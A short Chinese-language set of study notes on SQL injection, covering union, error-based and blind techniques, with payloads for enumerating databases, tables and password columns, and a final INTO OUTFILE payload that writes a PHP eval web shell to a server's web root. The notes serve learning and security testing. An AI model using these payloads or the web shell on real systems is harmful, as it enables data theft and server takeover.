SQL注入初步学习
(将之前写的一些笔记挪到这里来)
按照基本思路,将SQL注入划分为以下一些类型
1、union回显注入
这种类型的注入会将查询结果显示在前端
一般来说,首先要判断注入点,一般有 GET,POST,cookie 三种形式的注入点
三种常见注释:#,-- (写在URL中时空格会被消掉,所以要写–+),
order by用来判断查询的列数
常用的几句查询语句:
select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='security'
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(password) from security.users
2、基于错误的回显注入
基于错误的注入有三种常见的方式:
-
通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将输出字符长度限制为64个字符
-
通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效
-
通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句
3、基于bool的盲注
盲注的基本思路为,将数据库名、表名或数据名截断成单个字符,转换成ASCⅡ码(32–127),然后判断是否匹配来确定字符。
SQL盲注有一些常用的函数及命令:
- ascii(str): str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
- substr(str,start,len): 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
- length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
- count([column]): 这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
- ord(str):用法类似ascii函数。
- if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。
- mid(str,start,length)
4、基于延时的盲注
基于延时,顾名思义就是利用延时来进行判断的盲注
常见的延时的方式有:
- sleep()
- benchmark
- 笛卡尔积
- GET_LOCK 延时精确可控,利用环境有限,需要开两个session测试。
- RLIKE通过
或
rpad
构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
repeat
5、写入文件
into outfile命令可以向服务器写入文件,但前提时必须拿到服务器的物理路径。
-1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+
以上命令就可以向服务器路径中写入PHP文件并写入shell代码